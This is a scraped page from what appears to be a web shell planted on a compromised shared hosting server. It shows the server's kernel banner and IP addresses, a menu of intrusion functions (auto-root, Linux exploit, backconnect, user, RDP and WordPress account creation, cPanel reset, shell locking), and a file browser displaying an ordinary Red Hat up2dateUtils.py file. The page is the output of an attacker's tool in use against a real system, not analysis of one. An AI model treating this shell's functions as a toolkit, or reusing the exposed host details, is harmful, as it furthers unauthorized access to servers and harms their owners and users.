Linux premium155.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
: 162.0.235.200 | : 3.135.214.139
Cant Read [ /etc/named.conf ]
7.4.33
varifktc
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3.6 /
site-packages /
up2date_client /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
capabilities.py
7.28
KB
-rw-r--r--
cldetect.py
2.97
KB
-rw-r--r--
clientCaps.py
2.16
KB
-rw-r--r--
clpwd.py
3.56
KB
-rw-r--r--
config.py
12.5
KB
-rw-r--r--
debUtils.py
2.73
KB
-rw-r--r--
getMethod.py
4.2
KB
-rw-r--r--
haltree.py
4.53
KB
-rw-r--r--
hardware.py
31.91
KB
-rw-r--r--
hardware_gudev.py
12.89
KB
-rw-r--r--
hardware_hal.py
11.32
KB
-rw-r--r--
hardware_udev.py
12.99
KB
-rw-r--r--
pkgUtils.py
295
B
-rw-r--r--
pkgplatform.py
309
B
-rw-r--r--
pmPlugin.py
2.79
KB
-rw-r--r--
rhnChannel.py
4.4
KB
-rw-r--r--
rhnHardware.py
328
B
-rw-r--r--
rhnPackageInfo.py
2.21
KB
-rw-r--r--
rhncli.py
9.12
KB
-rw-r--r--
rhnreg.py
32.72
KB
-rw-r--r--
rhnreg_constants.py
18.13
KB
-rw-r--r--
rhnserver.py
8.66
KB
-rw-r--r--
rpcServer.py
10.96
KB
-rw-r--r--
rpmUtils.py
5.2
KB
-rw-r--r--
transaction.py
4.09
KB
-rw-r--r--
tui.py
43.7
KB
-rw-r--r--
up2dateAuth.py
9.29
KB
-rw-r--r--
up2dateErrors.py
10.26
KB
-rw-r--r--
up2dateLog.py
2.06
KB
-rw-r--r--
up2dateUtils.py
5.06
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : up2dateUtils.py
# Client code for Update Agent # Copyright (c) 1999--2018 Red Hat, Inc. Distributed under GPLv2. # # Author: Preston Brown <pbrown@redhat.com> # Adrian Likins <alikins@redhat.com> # """utility functions for up2date""" import contextlib import os import sys import re import gettext from up2date_client import up2dateErrors from up2date_client import config from up2date_client.pkgplatform import getPlatform from rhn.i18n import sstr t = gettext.translation('rhn-client-tools', fallback=True) # Python 3 translations don't have a ugettext method if not hasattr(t, 'ugettext'): t.ugettext = t.gettext _ = t.ugettext if getPlatform() == 'deb': import lsb_release def _getOSVersionAndRelease(): dist_info = lsb_release.get_distro_information() os_name = dist_info['ID'] os_version = 'n/a' if 'CODENAME' in dist_info: os_version = dist_info['CODENAME'] os_release = dist_info['RELEASE'] return os_name, os_version, os_release else: from up2date_client import transaction def _getOSVersionAndRelease(): ts = transaction.initReadOnlyTransaction() for h in ts.dbMatch('Providename', "oraclelinux-release"): SYSRELVER = 'system-release(releasever)' version = sstr(h['version']) release = sstr(h['release']) if SYSRELVER in (sstr(provide) for provide in h['providename']): provides = dict((sstr(n), sstr(v)) for n,v in zip(h['providename'], h['provideversion'])) release = '%s-%s' % (version, release) version = provides[SYSRELVER] osVersionRelease = (sstr(h['name']), version, release) return osVersionRelease else: for h in ts.dbMatch('Providename', "redhat-release"): SYSRELVER = 'system-release(releasever)' version = sstr(h['version']) release = sstr(h['release']) if SYSRELVER in (sstr(provide) for provide in h['providename']): provides = dict((sstr(n), sstr(v)) for n,v in zip(h['providename'], h['provideversion'])) release = '%s-%s' % (version, release) version = provides[SYSRELVER] osVersionRelease = (sstr(h['name']), version, release) return osVersionRelease else: for h in ts.dbMatch('Providename', "distribution-release"): osVersionRelease = (sstr(h['name']), sstr(h['version']), sstr(h['release'])) # zypper requires a exclusive lock on the rpmdb. So we need # to close it here. ts.ts.closeDB() return osVersionRelease else: raise up2dateErrors.RpmError( "Could not determine what version of CloudLinux you "\ "are running.\nIf you get this error, try running \n\n"\ "\t\trpm --rebuilddb\n\n") def getVersion(): ''' Returns the version of redhat-release rpm ''' cfg = config.initUp2dateConfig() if cfg["versionOverride"]: return str(cfg["versionOverride"]) os_release, version, release = _getOSVersionAndRelease() return version def getOSRelease(): ''' Returns the name of the redhat-release rpm ''' os_release, version, release = _getOSVersionAndRelease() return os_release def getRelease(): ''' Returns the release of the redhat-release rpm ''' os_release, version, release = _getOSVersionAndRelease() return release def getArch(): if os.access("/etc/rpm/platform", os.R_OK): fd = open("/etc/rpm/platform", "r") platform = fd.read().strip() #bz 216225 #handle some replacements.. replace = {"ia32e-redhat-linux": "x86_64-redhat-linux"} if platform in replace: platform = replace[platform] return platform arch = os.uname()[4] if getPlatform() == 'deb': # On debian we only support i386 if arch in ['i486', 'i586', 'i686']: arch = 'i386' if arch == 'x86_64': arch = 'amd64' arch += '-debian-linux' return arch def version(): # substituted to the real version by the Makefile at installation time. return "2.11.5-1.module_el8.10.0+6877+7e1655fd.cloudlinux" @contextlib.contextmanager def suppress_errors(error_patterns): ''' Context manager to suppress errors matching the specified patterns ''' read_end, write_end = os.pipe() old_stdout = os.dup(1) old_stderr = os.dup(2) os.dup2(write_end, 1) os.dup2(write_end, 2) try: yield finally: # Restore stdout and stderr os.dup2(old_stdout, 1) os.dup2(old_stderr, 2) os.close(write_end) with os.fdopen(read_end) as f: combined_pattern = re.compile('|'.join(error_patterns)) for line in f: if not combined_pattern.search(line): print(line, file=sys.stderr)
Close